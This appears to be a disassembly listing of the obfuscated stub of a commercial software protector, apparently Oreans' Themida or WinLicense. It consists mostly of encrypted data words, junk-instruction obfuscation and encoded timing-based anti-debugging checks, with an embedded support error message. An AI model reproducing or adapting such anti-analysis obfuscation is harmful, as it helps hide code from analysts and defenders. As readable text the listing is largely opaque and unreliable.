		dd 520194CEh, 774BD1F0h, 0F859E779h, 16F27E8Ah,	9602F482h
		dd 0ED9EF5FAh, 0CD60118Bh, 0FA958141h, 77BD20F5h, 0B1E37C04h
		dd 83C82A4Fh, 3FCDA00Fh, 8D000000h, 2BEDDC27h, 435C0634h
		dd 10614528h, 0E648F710h, 0FA8C645Eh, 7EB7516Ch, 69FCADF2h
		dd 0FAB6E5DDh, 85B755F5h, 0CAD36CF2h, 0B548F72Dh, 2CBA0247h
		dd 8042AA0Dh, 0A00FA072h, 2623h, 9F27E300h, 0C16FD103h
		dd 0FCA41600h, 0EAEE685Ah, 460E178Ah, 7D3AA603h, 747BAF34h
		dd 4CA533C5h, 5CF27E2Eh, 2770AEABh, 3ED1039Fh, 163D468Fh
		dd 0AE5B6D30h, 0F2FEC44Ch, 5F3BD260h, 6A1BF27Eh, 1DB145D7h
		dd 0FA41678Fh, 0F48031F5h, 0F5FA4202h, 7A7C0A9Eh, 26F5FA41h
		dd 0B664C675h, 0F5FA410Ch, 0C95C902Eh, 0E477A943h, 0A4327ADDh
		dd 0F8DA2285h, 0A00F2FFAh, 249Bh, 952D5B00h, 0C5FCA415h
		dd 0CD61F3FDh, 0DB11E982h, 0A396A94Dh, 0FD46F7FCh, 73D53F36h
		dd 7EC22CC5h, 0CECB7CF2h, 816F5390h, 92CC67EFh,	3AEE50FFh
		dd 705797ACh, 0A032E3F2h, 0D6647918h, 0F5F7C920h, 2320CF80h
		dd 19ACDE7Dh, 4FE10FB3h, 679933BBh, 0F7C91BDBh,	63F185F5h
		dd 0F5F7C893h, 4BAD5C0Dh, 0DC90997h, 8B1FEBC4h,	0A4376903h
		dd 148D69F5h, 5A0BFCA4h, 0C09FF11h, 6413A090h, 79AB4AD2h
		dd 0A842CA7Ch, 0C82AD96Ch, 0BC4F8120h, 7895DF2Ah, 3F9958DAh
		dd 87E91BB9h, 9B2DC3FFh, 0B513BC07h, 0E366045Eh, 793AD381h
		dd 6516F27Eh, 0A121BCEEh, 0B7D86D8Fh, 0C2h, 0CDCA0AA2h
		dd 5B588A27h, 0E9E61CB5h, 7673A543h, 0FDFA36D0h, 7E1862C2h
		dd 39F4542h, 932ED4D1h,	1FBE6461h, 69AF0EDh, 0F7A97E78h
		dd 89A71AF5h, 1351DC27h, 0A0FD0B98h, 0E40CB63Eh, 0F30AC452h
		dd 9546F26Fh, 0FA257002h, 0E8F53743h, 8B2AD234h, 22AA5C59h
		dd 0A7D97489h, 4FEE96F8h, 0ADF88A1Dh, 426EC721h, 7FB55299h
		dd 0E6C06ED0h, 0BBA509A6h, 2CCB0C78h, 0B857FDFAh, 0D961F386h
		dd 5B912E3Fh, 86A19ACh,	0FB8EC260h, 0D82B91F4h,	0EB7EB250h
		dd 9332DA3Ch, 26B9EB8Ah, 9F57E577h, 0F9D24676h,	0F69C9948h
		dd 254A8B57h, 72D0B737h, 10A931C3h, 2E903FD2h, 85879h
		dd 4D1A0000h, 619331B9h, 9B33BFFFh, 0B150D669h,	0CB66EC7Fh
		dd 0E4800699h, 0FD971DB0h, 10AA30C3h, 1DBB41D4h, 39D258EBh
		dd 45E268FBh, 562A7C0Fh, 0C681E689h, 4,	8704EE83h, 895C2434h
		db 0Ch,	24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], edi
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		mov	[esp], esi
		push	443h
		mov	[esp], esi
		mov	esi, 32D229EFh
		mov	edi, 347E66F0h
		xor	edi, esi
		pop	esi
		push	6902h
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	esi
		push	ecx
		mov	ecx, 8
		add	ecx, esi
		push	eax
		mov	eax, 0
		add	eax, ecx
		mov	[eax], edi
		pop	eax
		pop	ecx
		mov	esi, [esp]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		jmp	loc_54F8A1
; ---------------------------------------------------------------------------
		dd 92E231A7h, 56B86644h, 306AC6Dh, 0E8E0FFC5h, 5B2C0F1Bh
		dd 0A121C8AAh, 8111E3CBh, 9B32A8FDh, 0F1675D87h, 0C0355EDBh
		dd 75818ACh, 0E072AD7Eh, 0E975E80Eh, 4C2E8630h,	205E0218h
		dd 8A14FEBDh, 5D22E313h, 0F85480CAh, 590C64C8h,	7C680578h
		dd 9D129ED8h, 0A2054BB0h, 5F128352h, 30374280h,	0BD0A4EC6h
		dd 0BB75F974h, 0D96837EBh, 9F251553h, 8649A1BBh, 0C33CB030h
		dd 9F348FC8h, 0C06C983Dh, 0E569A076h, 6A55BC9Ch, 0E81DDCA2h
		dd 8, 0AAA102B9h, 0D4E81108h, 0B274F681h, 0BB5A20A3h, 11EE875Dh
		dd 73ABC281h, 0C92B0000h, 56C98160h, 0BE796239h, 5CC5FDCEh
		dd 1134FF61h, 0FC58FE8Bh, 0FFE0F081h, 8B660026h, 0BAC081F1h
		dd 0E8384B63h, 12h, 9780F8Ch, 0C59BF55Dh, 93CB9D87h, 0E2FA201Ch
		dd 81662BCDh, 5FD734E6h, 6D4AC081h, 0F98B1966h,	0F0A0489h
		dd 0E983FABFh, 0DE801h,	49E10000h, 0FFB29ABDh, 0EEA76CC2h
		dd 5B33EF33h, 66494949h, 0F981D88Bh, 0FFFF8CF4h, 0FF97850Fh
		dd 0CE9FFFFh, 0F4000000h, 0F1E34551h, 4F6A1698h, 0E8A4720Eh
		dd 0Ah,	0C5D0695Eh, 647F5B2Eh, 6660E8C1h, 8160D68Bh, 0F210BFD2h
		dd 5E616173h, 0CEBF0F51h, 61C6815Fh, 0F00006Fh,	0B81h
		dd 6E900h, 0EFEA0000h, 7F3A15C0h, 1BA6BBh, 213EB800h, 36FF6930h
		dd 31C2815Ah, 0B05F501Dh, 44F281BAh, 0E949C668h, 6, 0E2B44B2Fh
		dd 0F2818137h, 64173ABFh, 52C0B70Fh, 0F51068Fh,	186h, 8359F800h
		dd 0CC8A03EEh, 14E94Eh,	0DFBA0000h, 0F222B716h,	213702FFh
		dd 0AE268AFBh, 0BD9460A5h, 0EB81A237h, 1, 23850Fh, 8A0F0000h
		dd 5, 5BBE01B8h, 23E911h, 3BFC0000h, 0EC230749h, 17AAA640h
		dd 0D1AC5BC5h, 0D3A6EBFFh, 92D08121h, 0E9537C44h, 0FFFFFF76h
		dd 0B663897h, 400E914h,	0
		dd 41330000h, 6E69206Eh, 6E726574h, 65206C61h, 70656378h
		dd 6E6F6974h, 63636F20h, 64657275h, 64412820h, 73657264h
		dd 30203A73h, 29782578h, 6C500D0Ah, 65736165h, 6F63202Ch
		dd 6361746Eh, 75732074h, 726F7070h, 726F4074h, 736E6165h
		dd 6D6F632Eh, 6854202Eh, 206B6E61h, 21756F79h, 0E4h dup(0)
		dd offset dword_55FFBC+44h
		dd offset dword_445750+0A8B0h
		dd 0
		dd 5AE90000h, 1000013h,	0A929F9B5h, 4D858B06h, 0F806A900h
		dd 4244439h, 0A1850Fh, 6A0000h,	3E851h,	59200000h, 4C8959C3h
		dd 44810424h, 140424h, 51410000h, 8B0F24C3h, 0Eh, 0D9B52960h
		dd 8106A91Fh, 784F33D0h, 0BD83615Eh, 6A92E71h, 64840F00h
		dd 29000000h, 0A9050995h, 26858D06h, 6A06A93Ch,	3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 16042444h, 43000000h
		dd 0A007C353h, 7DBD8941h, 0FF06A923h, 57006AE0h, 3E8h
		dd 0C35F2000h, 247C895Fh, 24448104h, 1A04h, 0C3574700h
		dd 0C0419F8Ah, 60954F37h, 38F0Fh, 0BF0F0000h, 7016BAC1h
		dd 8B614C7Fh, 0A9272185h, 55006A06h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1404h,	0C3554500h, 0BE975h, 90F90000h
		dd 0C9C848EAh, 576A0E37h, 2444392Dh, 3C850F04h,	1000000h
		dd 0A900258Dh, 0ED85C706h, 106AC73h, 6A000000h,	3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 17042444h, 41000000h
		dd 5FDFC351h, 8E996D7h,	83000000h, 0C86A898Dh, 6000AE9Bh
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 14h, 7CC35545h
		dd 13E9h, 0AE900h, 9720000h, 35D49FB7h,	661514D2h, 0
		dd 1B8h, 57858700h, 0B06AC75h, 0FFF675C0h, 0A916B1B5h
		dd 0E5858F06h, 6A06AC73h, 0FFFF6A20h, 0A9057D95h, 0B1BD8306h
		dd 6A935h, 6A0874h, 2D9595FFh, 0BD8306A9h, 6A90E21h, 680D7401h
		dd 80h,	95FFFF6Ah, 6A9057Dh, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 18h, 0AEC35141h,	4B415853h, 295D9589h
		dd 13E906A9h, 0C9000000h, 9B5CB4ADh, 0D48170C2h, 8172AD47h
		dd 0D1122646h, 0E860F065h, 0Ch,	8CBA6A13h, 0ACF80A72h
		dd 93EA5DDCh, 800Fh, 61590000h,	8BFCC02Bh, 6A282454h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 1C042444h, 40000000h
		dd 0D752C350h, 24E14DF3h, 0FC3EAD5Bh, 2D098589h, 950906A9h
		dd 6A911C9h, 3CBEh, 50006A00h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1704h, 0C3504000h, 74F1E716h, 172D9D29h
		dd 740306A9h, 840F2424h, 6, 2D91B589h, 0AD6606A9h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 14h, 77C35646h, 244403FCh
		dd 55006A24h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1D04h
		dd 0C3554500h, 6E0F5214h, 80D972D5h, 6E9E974h, 38000000h
		dd 0F93E49F0h, 850F5008h, 22h, 8E0F5250h, 0
		dd 11E9310Fh, 31000000h, 61B9B0B9h, 0E67DEC0Eh,	22505914h
		dd 7F929F85h, 489585Ah,	50006A24h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1C04h, 0C3504000h, 16DC8F19h, 0FBA950A6h
		dd 8BF9F8B2h, 6A7840h, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 190424h, 56460000h, 0E0CFDEC3h, 897ACE21h, 0A90DB18Dh
		dd 5D850106h, 8306A929h, 0AC73EDBDh, 850F0006h,	123h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 1Bh, 85C35646h, 0DB989C6Ah
		dd 0E9A62466h, 8, 4F072581h, 18536E65h,	101D8589h, 505006A9h
		dd 50525052h, 5A310F52h, 0E9310F58h, 6,	7FF3C99Ch, 585A018Ch
		dd 5250310Fh, 310F6160h, 880Fh,	585A0000h, 489585Ah, 870F6024h
		dd 6, 1CAD9D89h, 8B6106A9h, 6A2C2444h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 1A042444h, 40000000h, 4C0BC350h
		dd 0C7ECF8CAh, 65BD8923h, 906A90Eh, 0A92869BDh,	50605006h
		dd 0F5A5152h, 5AD18A31h, 0E43BE58h, 896165D0h, 6A2404h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 150424h, 55450000h
		dd 97D20C3h, 0A920C185h, 0DF858D06h, 6A06AC40h,	3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 1C042444h, 47000000h
		dd 6C69C357h, 47FE6994h, 0E90003A7h, 0Ch, 3125C354h, 0EBEB1290h
		dd 7ECBD242h, 0F960D0FFh, 12EDBD2Bh, 36106A9h, 60282444h
		dd 5880Fh, 0B1BF0000h, 0E96D6A69h, 6, 5DE8B81h,	8B610E12h
		dd 6A1840h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 150424h
		dd 57470000h, 899066C3h, 0A9239985h, 89FC4006h,	0AC73E985h
		dd 1880F06h, 0F5000000h, 0BD296058h, 6A92129h, 5E9h, 0DA41B900h
		dd 8B61BE45h, 0B5097870h, 6A91DEDh, 0F1CC683h, 0A8Fh, 852B6000h
		dd 6A92671h, 0F615850h,	118Eh, 0CE900h,	0E8930000h, 7338FA16h
		dd 0EB316Eh, 6096A007h,	2850Fh,	6CB40000h, 5E9h, 3D11D700h
		dd 816153C0h, 24247Ch, 0F100000h, 16687h, 50006A00h, 3E8h
		dd 0C3582000h, 24448958h, 24448104h, 1804h, 0C3504000h
		dd 5E8C46B7h, 0DE9B2h, 0D5B20000h, 25DEAB2Eh, 0DA52C1EEh
		dd 50E9D7E8h, 61606060h, 328EBB66h, 0DE8B6661h,	24048961h
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 19h, 0D7C35141h
		dd 6EFB8506h, 0B9BD0109h, 6006A934h, 6E8h, 878200h, 0F00D883h
		dd 80h,	0BE665800h, 8B61582Fh, 0F282444h, 687h,	0E5B52900h
		dd 9006A900h, 0C860Fh, 8C0F0000h, 6, 870Fh, 50500000h
		dd 0AE952h, 0FFB60000h,	17444926h, 0A2C1DEAFh, 5250310Fh
		dd 310F5250h, 310F585Ah, 0FE9h,	2DC51900h, 65D5B306h, 64A3F1BCh
		dd 0ED87D565h, 585A585Ah, 55006A90h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1A04h,	0C3554500h, 0DA0CF444h
		dd 29413722h, 0A90839BDh, 0DF858D06h, 6A06AC40h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 1C042444h, 47000000h
		dd 7108C357h, 1D935C5h,	2928C851h, 0A91235B5h, 6AD0FF06h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 14042444h
		dd 43000000h, 0F22C353h, 0E8Eh,	0EF816000h, 4E9BB47Dh
		dd 8E0Fh, 96610000h, 0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 19h, 0BEC35242h, 15DAB13Ch, 91BD894Ch, 8906A903h
		dd 0A91FED85h, 8BF96006h, 0A904D585h, 74036106h, 8DF92424h
		dd 0A91DA9BDh, 0F99D3106h, 0AD06A921h, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 1Ch, 0DAC35343h,	4CBA2A78h, 5B34D34Bh
		dd 0E840FFCh, 60000000h, 8C0Fh,	8D090000h, 6A928D1h, 247C8161h
		dd 24h,	65870F10h, 0F5000001h, 13E950h,	5E2E0000h, 3147B87Ch
		dd 0C5A13782h, 0EED06C65h, 64D6F4C6h, 240489AEh, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 17h, 0C2C35242h, 0F1D1D90h
		dd 981h, 0FF96000h, 84h, 8E96100h, 50000000h, 0F307194Ch
		dd 8BBDA5FDh, 6A282444h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 1B042444h, 43000000h, 0ED5DC353h,	35A43AD8h
		dd 880F07A2h, 0Ch, 68E0Fh, 8D890000h, 6A90C3Dh,	1850Fh
		dd 90F50000h, 10E9h, 0A0EF4A00h, 0C25CED99h, 9884D35Bh
		dd 0A0B4D133h, 52505074h, 0FE9h, 586A3900h, 8410BC4Eh
		dd 0EE3F3407h, 8E36A33Bh, 0BE9310Fh, 0CE000000h, 80859DF1h
		dd 0A706D960h, 585AFC98h, 53006A90h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1D04h,	0C3534300h, 42FEEAF6h
		dd 0E7FF7DE7h, 13E9A050h, 1D000000h, 3D3483Bh, 0CA70458Ch
		dd 0E7CAC5A4h, 3E006C75h, 858DEFD2h, 6AC40DFh, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 15h, 96C35343h, 0F8B060E9h
		dd 6AD0FF61h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 16042444h, 41000000h, 132CC351h, 9589F859h, 6A905B5h
		dd 24244403h, 0D8E0Fh, 8E90000h, 28000000h, 0AED0ACACh
		dd 0AB292FAFh, 18A0Fh, 81F80000h, 10000FAh, 3E820F00h
		dd 6A000008h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 18042444h, 47000000h, 17FBC357h, 0E90BC22Ch,	0Fh, 0C820467h
		dd 3746288h, 88A82DFFh,	0E9654B8Eh, 0Fh, 0D2167021h, 8195D677h
		dd 0C7532B07h, 8DA32890h, 0A91CB5BDh, 8E906h, 0BB920000h
		dd 0C60194A4h, 6AAD4955h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 14042444h, 41000000h, 812DC351h, 24247Ch
		dd 0F100000h, 11F87h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1D04h, 0C3524200h, 1D093850h, 4F318A1Ch
		dd 0FF5AE6Fh, 68Ah, 0B1B58900h,	9006A905h, 0FE9h, 3222E00h
		dd 0AB6022CDh, 0C460B578h, 4BEBB2EEh, 2B850F50h, 50000000h
		dd 0BE952h, 855A0000h, 86A4DD87h, 8E44FACAh, 0E9310FCFh
		dd 10h,	3031452Fh, 0D7E4237Fh, 7A823285h, 3A7B4F1Dh, 6A90585Ah
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 16042444h
		dd 40000000h, 9043C350h, 8D9D89F4h, 8B06A90Ch, 60282444h
		dd 22E1950Bh, 0BA6606A9h, 9061A47Eh, 12E9h, 137D7300h
		dd 566DF238h, 34F951Ch,	762ABC28h, 50BFEF6Fh, 11E9h, 0A30A5F00h
		dd 468D6EF7h, 5A64023Ah, 4527D09Bh, 89905479h, 0A935DD85h
		dd 0DF858D06h, 0FC06AC40h, 6810Fh, 8D010000h, 6A90FC1h
		dd 6AD0FFh, 3E851h, 59200000h, 4C8959C3h, 44810424h, 170424h
		dd 51410000h, 2A834AC3h, 1820F13h, 0F5000000h, 24244403h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 15h, 23C35040h
		dd 0BD296070h, 6A90EB5h, 176DBD01h, 506106A9h, 870F5250h
		dd 19h,	14E9h, 0BDE52500h, 0ADBD5A1Eh, 91D96520h, 320865D9h
		dd 0DCCEEB47h, 60310FA7h, 13E9h, 0EF612800h, 139038D1h
		dd 1A1A5A3Dh, 0EC71F15Ah, 0B11F510Eh, 5A615951h, 24048958h
		dd 29D98529h
		dd 31AB06A9h, 0A9125195h, 45BD8D06h, 2906A904h,	0A9124595h
		dd 0E800F06h, 60000000h, 0EF1858Bh, 8D8906A9h, 6A92265h
		dd 6AAD61h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1A0424h
		dd 56460000h, 95BCE9C3h, 7FE905EFh, 28247C81h, 10000000h
		dd 14E870Fh, 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 1B0424h, 51410000h, 0A9A814C3h, 1EA16E23h, 14E996h
		dd 63DA0000h, 422DC92Eh, 330B2374h, 0F63B33FAh,	1ABFE2ACh
		dd 5090BA8Dh, 61606052h, 60310F61h, 0CE9h, 8B4D4D00h, 0F7F6C7Ah
		dd 0CD059B35h, 0CB8B6604h, 50585A61h, 5E9h, 2D001100h
		dd 6090A813h, 1FC070BFh, 0C1BD891Ch, 6106A926h,	0DE9h
		dd 153D0400h, 0EA26CE95h, 2FE9958Eh, 448B2143h,	6A2C24h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1D0424h, 55450000h
		dd 734AE7C3h, 4ECA9260h, 0F8152DEh, 680h, 6D858900h, 0FC06A922h
		dd 0C860F50h, 0F000000h, 689h, 0F525000h, 89585A31h, 0E9F92404h
		dd 5, 0E9CC0A0h, 0DF858D81h, 6A06AC40h,	3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 1C042444h, 43000000h, 0CF28C353h
		dd 0DC19B30Ah, 0FD3CC78h, 0A85h, 8D0F6000h, 0
		dd 0FF616160h, 50006AD0h, 3E8h,	0C3582000h, 24448958h
		dd 24448104h, 1A04h, 0C3504000h, 425ECD6h, 0E989D248h
		dd 0Ch,	7610BEE1h, 21692195h, 0EB5E57F5h, 28244403h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 14h, 16C35747h, 10E9h
		dd 0B32FD900h, 0E1663E2Ch, 8176B48Fh, 67EEF362h, 6AABA8h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1B0424h, 53430000h
		dd 0EA36D7C3h, 9AE16BBEh, 8529604Eh, 6A90615h, 1358589h
		dd 5E6106A9h, 73E98DFFh, 0BD8306ACh, 6AC73E9h, 330A7500h
		dd 1FB58DC0h, 0FF06AC84h, 81AD56E6h, 28247Ch, 77100000h
		dd 448B500Eh, 8D502C24h, 0AC40DF85h, 3D0FF06h, 97282444h
		dd 858ADF8Bh, 6AC73E5h,	474C084h, 4C75073Ah, 0AEC03257h
		dd 2B5EFD75h, 33FC52FBh, 0D18B49C9h, 0DB33C033h, 8AC132ACh
		dd 8AEA8ACDh, 6608B6D6h, 0D166EBD1h, 660973D8h,	66504135h
		dd 5449F381h, 0EB75CEFEh, 0D333C833h, 0F7D5754Fh, 8BD1F7D2h
		dd 10C0C1C2h, 5AC18B66h, 0F74D03Bh, 4C6835Eh, 2D0985FFh
		dd 5DE906A9h, 5EFFFFFFh, 0E855006Ah, 3,	5DC35D20h, 4246C89h
		dd 4244481h, 19h, 8CC35545h, 0AE505547h, 0B995012Fh, 0E906A929h
		dd 12h,	5D04D8F7h, 50C0C442h, 0ACD735A3h, 0C759C5CDh, 6A9C46h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1D0424h, 55450000h
		dd 50B09AC3h, 345F8673h, 0F93F877h, 18Ch, 858BF900h, 6A92D09h
		dd 0A55BD89h, 0E0D106A9h, 1DA19531h, 850306A9h,	6A90445h
		dd 0A759D29h, 0F62B06A9h, 0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 16h, 2C35646h, 9501F21Ah, 6A90099h, 55006A96h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1C04h, 0C3554500h
		dd 318117F6h, 1960C0B4h, 10E973h, 0FDA20000h, 6335C7DEh
		dd 0F44E80B3h, 431738DEh, 0F607089h, 185h, 78B9FC00h, 610C0BA5h
		dd 6660AD66h, 0BD09FB8Bh, 6A90E91h, 0E59D2961h,	0C106A91Eh
		dd 3F502E0h, 0A91DA985h, 11B50106h, 0F506A920h,	51006A96h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1C04h, 0C3514100h
		dd 7BAA327Dh, 0B011A037h, 14E941h, 170C0000h, 8D0F647h
		dd 0F86DD4B7h, 7F9187C9h, 0AA87FC9Ah, 8B6002FEh, 0A9133D8Dh
		dd 9D8B6006h, 6A902C5h,	0C0E2BF66h, 6AAD6161h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 1D042444h, 41000000h
		dd 7D97C351h, 0E25FC4AFh, 0BDCBE780h, 71B58B60h, 906A91Fh
		dd 0A91F4D8Dh, 7C816106h, 2424h, 870F1000h, 0D8h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 15h, 4C35545h, 11E956h
		dd 0B4110000h, 0F9B1CD60h, 474C76C9h, 0F16F7895h, 898A484Ch
		dd 0A9020185h, 0B5609006h, 535250C9h, 50310F5Bh, 5A310F52h
		dd 61585A58h, 0C840F50h, 0F000000h, 688h, 0F525000h, 90585A31h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 16h, 0F2C35747h
		dd 85898A25h, 6A9269Dh,	61EDB160h, 2824448Bh, 33BDB589h
		dd 605006A9h, 0DD05BA66h, 61CA8B66h, 89240489h,	0A91045BDh
		dd 1853106h, 8D06A925h,	0AC40DF85h, 14E906h, 42940000h
		dd 0CD380415h, 77FB8C79h, 0C99F8209h, 0EF120C2Ch, 0D0FF8E38h
		dd 6850Fh, 0B5890000h, 6A90981h, 24244403h, 6810Fh, 9D890000h
		dd 6A90E95h, 1C244489h,	0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 14h, 0EC35646h, 13E9h, 0B338BA00h,	0A8B530C7h
		dd 63B6B160h, 22FBB9EAh, 21545D8Eh, 16B185C6h, 0C70006A9h
		dd 0AC755785h, 6, 0ED85C700h, 6AC73h, 0FC000000h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 1Bh, 1DC35141h, 344BAFCAh
		dd 61D14FD3h, 6820Fh, 9D890000h, 6A90859h, 10E960h, 92B40000h
		dd 909EB5F6h, 87932459h, 0C18A4C4Bh, 0BF669856h, 0C261E923h
		dd 6A0008h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1A0424h
		dd 53430000h, 0A244AC3h, 95A6D57Ah, 89F86060h, 0A911799Dh
		dd 9D8B6106h, 6A9237Dh,	0A9858B61h, 0E906A91Dh,	0Fh, 87D6691Ch
		dd 0BAFA8814h, 54F06D3Ch, 4A56D56Ah, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 19h, 0A0C35141h,	24ECE74Bh, 25B50184h
		dd 2906A910h, 0A93461B5h, 4D26B06h, 0E857006Ah,	3, 5FC35F20h
		dd 4247C89h, 4244481h, 19h, 24C35747h, 0E5075C3h, 0B840F2Dh
		dd 60000000h, 8BF3B70Fh, 0A915318Dh, 0F606106h,	361F2B7h
		dd 56006AC2h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1504h
		dd 0C3564600h, 0E99615FEh, 0Ah,	42BFDA23h, 0C268685Eh
		dd 31AD68EFh, 0A9143DBDh, 247C8106h, 24h, 5A870F10h, 60000001h
		dd 31BE6652h, 81665A14h, 618888C9h, 0DE86090h, 0B1000000h
		dd 88F2D5EEh, 0BD4DF798h, 53BDD876h, 310F5250h,	515F585Ah
		dd 615AFDB3h, 11E950h, 0F6910000h, 36DBC82Ah, 875606D6h
		dd 73EB5A94h, 909510B3h, 0E851006Ah, 3,	59C35920h, 4244C89h
		dd 4244481h, 15h, 38C35141h, 0AD9D89FEh, 8B06A90Ch, 6A282444h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 15042444h
		dd 46000000h, 8BA6C356h, 68C0Fh, 8D010000h, 6A91EEDh, 50525050h
		dd 8C0F52h, 0F000000h, 0F525031h, 5A585A31h, 0F310F58h
		dd 683h, 0F525000h, 5A585A31h, 24048958h, 0E853006Ah, 3
		dd 5BC35B20h, 4245C89h,	4244481h, 1Bh, 1AC35343h, 75854021h
		dd 0F4E0502h, 68Bh, 0C1852900h,	6006A900h, 38C0Fh, 8B660000h
		dd 27F181F9h, 6144995Dh, 40DF858Dh, 6A06ACh, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 160424h, 50400000h, 5A595C3h
		dd 11E9h, 1CDDAF00h, 18D99A4Ah,	8930CB3Ch, 3D1890D7h, 0D0FF7641h
		dd 12E960h, 70220000h, 5150BE21h, 26E8C3E9h, 0BC0451Ch
		dd 0B74385DEh, 0D8D8B51h, 5E06A916h, 0FCF6E961h, 6AFFFFh
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1D0424h, 57470000h
		dd 0F74023C3h, 0CD8E1285h, 0F86E67Fh, 0C88h, 68B0F00h
		dd 31000000h, 0A9330D9Dh, 5B858D06h, 6A06AC8Ah,	3E85000h
		dd 20000000h, 8958C358h, 81042444h, 17042444h, 40000000h
		dd 20E2C350h, 60504A40h, 41B04FB7h, 24048961h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 14h, 23C35646h, 35FF64FCh
		dd 0
		dd 24048BF9h, 19BD8960h, 0F06A91Ah, 68Eh, 0E1852B00h, 6106A929h
		dd 0D18589F9h, 6A06A91Fh, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 18042444h, 46000000h, 1123C356h, 0F6B2431h
		dd 182h, 8964F500h, 25h, 0EE900h, 42D30000h, 8C7AABAAh
		dd 363211B2h, 0B4A1645Fh, 88A2858Dh, 6A06ACh, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 170424h, 57470000h, 293870C3h
		dd 11E902h, 0BDEB0000h,	20FBC7F4h, 0A719AC63h, 8587FDF5h
		dd 89964F62h, 6A0160h, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 160424h, 52420000h, 0EAB034C3h, 223E9F9h, 6A0000h, 3E850h
		dd 58200000h, 448958C3h, 44810424h, 1A0424h, 50400000h
		dd 0EA9DDC3h, 8B6DB9A4h, 39B58960h, 0BB06A90Ah,	5B0EF777h
		dd 0E8DB8B61h, 0
		dd 9BED815Dh, 0BC06AC88h, 12FF9Ch, 0E21BD83h, 740006A9h
		dd 11858B18h, 0C606A911h, 858B0000h, 6A91A79h, 0FF0000C6h
		dd 0A9204195h, 0B5FF6006h, 6AC6FF1h, 6FF5858Dh,	8D5006ACh
		dd 0AC71ED85h, 95FF5006h, 6A900D9h, 610CC483h, 8870FF9h
		dd 60000000h, 0C5DBD23h, 8D6106A9h, 0AC71EDB5h,	53006A06h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1804h, 0C3534300h
		dd 69164998h, 10E958h, 7BEF0000h, 0C96F809Ah, 343A48DCh
		dd 9118F4A0h, 0BD8D948Ah, 6A917E5h, 1830Fh, 80FC0000h
		dd 840F003Eh, 3Dh, 0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 1Bh, 0FEC35545h, 0F847F917h, 8974B843h, 0A92A918Dh
		dd 870FA406h, 7, 1850Fh, 0E9F80000h, 0FFFFFFBBh, 89C02BFCh
		dd 0A9043985h, 6AAA06h,	3E855h,	5D200000h, 6C895DC3h, 44810424h
		dd 140424h, 55450000h, 8531B3C3h, 6A92081h, 1D01B589h
